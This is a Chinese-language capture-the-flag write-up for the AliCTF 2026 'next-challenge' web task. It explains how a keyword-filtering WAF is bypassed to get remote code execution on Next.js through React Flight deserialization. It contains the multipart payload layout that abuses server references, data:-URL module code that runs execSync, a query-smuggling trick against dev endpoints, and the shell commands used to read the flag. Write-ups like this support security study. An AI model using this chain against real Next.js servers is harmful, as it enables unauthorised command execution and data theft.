AliCTF 2026 Web - next-challenge · React2Shell 机制梳理
日期: 2026-02-05
环境: http://223.6.249.127:28433
技术栈: Node.js v20.19.6 alpine x64, Next.js 16.0.6 dev, React 19.2.0
题目类型: Web, 500 pts
结论
通过 React Flight 反序列化触发 server reference,加上 Hello() 的模板字符串 toString sink,实现了不依赖 constructor/__proto__/prototype 的 RCE,最终读取 flag:
alictf{bef376de-4b8d-4dfb-bde1-1ad909c525b6}
目录
- 题目概览
- WAF 行为与约束
- 可用攻击面
- 前期信息收集与尝试
- Flight 反序列化与内存布局
- 关键突破
- 利用链构造
- 拿 flag
- 复现脚本与注意事项
- 参考资料
题目概览
题面强调“next WAF”,并提示:
- WAF 限制很死
- 预期不靠 Python 和 Node 解析差异
- 需要理解 React 漏洞的工作原理
源码下载后可知:业务逻辑几乎为零,核心就是外层 WAF 的强约束代理 + 内层 Next dev 暴露的 Server Actions 和 dev-only 端点。
WAF 行为与约束
WAF 源码在 extracted/next-challenge/waf.py,关键点如下。
Header 白名单
只转发少量 header,且允许透传 next-action,因此 Server Actions 是稳定入口。
ALLOWED_HEADERS = {
"host","user-agent","accept","accept-language","accept-encoding",
"cookie","connection","cache-control","pragma","next-action",
}
Query string 被丢弃
WAF 构造后端 URL 时忽略 query string,因此需要 query 的 dev 端点必须用 query smuggling:
/__nextjs_source-map%3ffilename=/etc/passwd
POST 只允许两种 Content-Type
text/plain且 body 必须是合法 JSONmultipart/form-data且每个字段 value 必须能json.loads成功,再json.dumps重建转发
这会消除很多字节级技巧:payload 总会经历一次 Python JSON 解析与重建。
递归关键字过滤
WAF 递归检查所有字符串与 JSON 子结构,禁止关键字:
FORBIDDEN_KEYWORDS = ["__proto__", "constructor", "prototype", "\\u"]
影响:
- 传统 React2Shell(靠
constructor:constructor链到Function)在 body 阶段就会被 403 拦截 \u形式的逃逸也被\\u规则稳定封死
结论:不要试图“绕过关键字”,而是要找一条不需要这些关键字的执行路径。
可用攻击面
Server Actions
/_next/static/chunks/app/page.js 中包含:
__next_internal_action_entry_do_not_use__ {"<id>":"Name", ...}
本环境解析得到:
Hello:4093c8cb36481b80380d3037be7faffc9b516a2a27GetSource:00e21c4edbc7e418e886d76931c2c70bb3c6ca2589
dev-only 端点
GET /__nextjs_source-map?filename=...通过%3fsmuggling 使用POST /__nextjs_original-stack-frames可用于把webpack-internal://...定位回源码并得到 code frame
前期信息收集与尝试
1. 源码泄露
利用 Hello() 的模板字符串 stringify sink 触发 server function stringify,可泄露 GetSource() 源码(CVE-2025-55183 风格)。
这一步的意义主要是确认:
- Server Actions 确实启用
- 响应为
text/x-component - WAF 放行
next-actionheader
2. __nextjs_source-map 作为 oracle
由于 query 被剥离,需要:
/__nextjs_source-map%3ffilename=/path
观测到三个稳定信号:
- 500 +
ENOENT: 路径不存在 - 500 +
EACCES: 路径存在但不可读 - 204: 可读但不是 source map 或不适用
例如:
/root/flag返回EACCES,说明存在但 node 进程不可读/etc/passwd返回 204,说明可读但不返回内容
因此 __nextjs_source-map 适合作为存在性探针,但不能直接读任意文件。
3. __nextjs_original-stack-frames 的价值
它不会直接读任意文件内容,但能把 action 的 webpack-internal://... 映射回 app/actions.ts 等源码位置,辅助确认 sink 的具体行列与调用栈。
Flight 反序列化与内存布局
这题要求理解“React 漏洞工作原理”,核心是 Flight 协议的反序列化如何构造对象图,并在何处会调用函数。
下面用 “内存布局” 的视角描述我们最终利用到的结构。
关键对象
可以把服务端反序列化抽象成三类对象:
Response_bundlerConfig服务端 manifest,决定$F如何解析到具体模块导出_prefixmultipart key 前缀_formDataFormData 存储 multipart 字段_chunksMap,id -> Chunk
Chunkstatus状态机:pending,resolved_model,fulfilled,rejected,blocked,cyclicvalue/reason保存解析内容或异常then类似 Promise 的then,驱动后续解析
FormData- 保存我们发送的字段
"0","1","2"… 及其 JSON 字符串值
- 保存我们发送的字段
Flight token 与函数触发点
服务端的 parseModelString 在遇到以 $ 开头的字符串时,会按第二个字符进行分派:
$@<hex>引用 chunk$F<hex>加载 server reference,并触发loadServerReference,最终requireModule得到函数并bind上 bound 参数
我们利用的是 $F。
我们构造的对象图
目标:让服务端在反序列化过程中加载一个我们指定的函数导出,然后通过 Hello() 的模板字符串触发调用。
关键技巧:
- 用一个真实 chunk(通过
$@3)借用其then,避免自己构造 thenable 时出现不稳定行为 - 构造 fake
Response._bundlerConfig,让$F能解析到我们指定的(moduleId, exportName)
最终 multipart 字段可以理解为如下布局:
0 = "$1"
1 = {"status":"resolved_model","reason":-1,"_response":"$4","value":"[...args...]","then":"$2:then"}
2 = "$@3"
3 = []
4 = {"_prefix":"","_formData":"$2:_response:_formData","_chunks":"$2:_response:_chunks",
"_bundlerConfig":{"cp":{"id":"<moduleId>","name":"<exportName>","chunks":[]}}}
6 = {"id":"cp","bound":[...]}
可以画成更直观的对象图:
Chunk#3 (real)
└─ provides then() and _response
Chunk#1 (fake, resolved_model)
├─ then -> Chunk#3.then
└─ _response -> Response#4 (fake)
Response#4 (fake)
├─ _formData -> Chunk#3._response._formData
├─ _chunks -> Chunk#3._response._chunks
└─ _bundlerConfig (controlled)
└─ "cp" -> { id: <moduleId>, name: <exportName>, chunks: [] }
$F6
└─ resolves id "cp" via Response#4._bundlerConfig
└─ requireModule -> exported function
这就是本题最重要的“内存布局”:不是某个关键字绕过,而是理解 Response/Chunk/FormData 的连接关系,控制 $F 的解析结果。
关键突破
WAF 禁掉了 constructor/__proto__/prototype,因此典型的 React2Shell RCE 链断了。我们需要一个不包含敏感关键字、但仍能触发函数调用的 sink。
1. Hello() 模板字符串是稳定 sink
Hello() 实现:
'use server'
export async function Hello(input: string): Promise<string> {
return `hello ${input}!`;
}
当 input 是对象时,JS 会执行 ToPrimitive,优先调用 input.toString()。
因此只要能让 input.toString 变成一个 server reference,我们就得到了一个可控的函数调用点。
2. 利用 Node 20 的 module.register
在探索可用模块导出时发现:通过 fake _bundlerConfig 可以加载 Node 内置模块 module 的导出 register。
module.register(specifier, ...) 支持 data: URL 的 ESM。
ESM 会立即 evaluate,这就等价于“执行任意 JS”。
最小验证 payload:
throw new Error("PWN")
服务端会返回 stack,其中 file 是 data:text/javascript,...,证明代码被执行。
3. 命令执行与回显
在 data: 模块内:
import { execSync } from 'node:child_process';
throw new Error(execSync("id", { encoding: "utf8" }));
通过 throw new Error(stdout) 把输出回显到 action 响应中,完全不需要额外通道。
这条链路的特点:
- 只用到了
module.register与child_process.execSync - 不包含 WAF 禁止的关键字
- 不依赖解析差异
利用链构造
整体链路如下:
- 通过 multipart Flight payload 构造一个参数对象
input = { toString: "$F6" } $F6解析到module.register- 把
data:text/javascript,...作为 bound 参数传给module.register Hello()模板字符串触发input.toString(),从而调用module.register(data:...)data:模块里执行execSync(cmd)并throw new Error(output)- Next dev 把 error message 编进
text/x-component响应中,获得命令输出
拿 flag
1. 验证 RCE
python3 remote_lab.py --base-url http://223.6.249.127:28433 rce 'id'
回显:
uid=1000(node) gid=1000(node) groups=1000(node),1000(node)
2. 枚举根目录
python3 remote_lab.py --base-url http://223.6.249.127:28433 rce 'ls -la /'
发现:
---------- 1 node node 44 ... flag-F57pkS3zmrQjeZLq
关键点:owner 是 node,但权限位 000。owner 是 node 意味着不需要提权,可以直接 chmod 改权限再读。
3. chmod 并读取
python3 remote_lab.py --base-url http://223.6.249.127:28433 \
rce 'chmod 644 /flag-F57pkS3zmrQjeZLq && cat /flag-F57pkS3zmrQjeZLq'
得到:
alictf{bef376de-4b8d-4dfb-bde1-1ad909c525b6}
复现脚本与注意事项
本仓库的 remote_lab.py 已集成复现:
actions枚举 action idinspect通过util.inspect打印对象图,用于理解内存布局rce通过module.register(data:...)执行命令并回显
环境刷新后一般会变化:
- 端口变化
- action id 变化
- flag 文件名变化
因此复现流程建议固定为:
actionsrce 'ls -la /'找 flag 文件名rce 'chmod 644 /flag-... && cat /flag-...'
参考资料
用于理解 React2Shell 与 Flight 反序列化机制,但注意本题 WAF 会阻断传统 constructor:constructor 链路:
- p3ta00 的 React2Shell 分析文章与 PoC
- React 官方关于 RSC 安全更新的 blog
- Vercel security bulletin
- GitHub 上的 react2shell PoC 仓库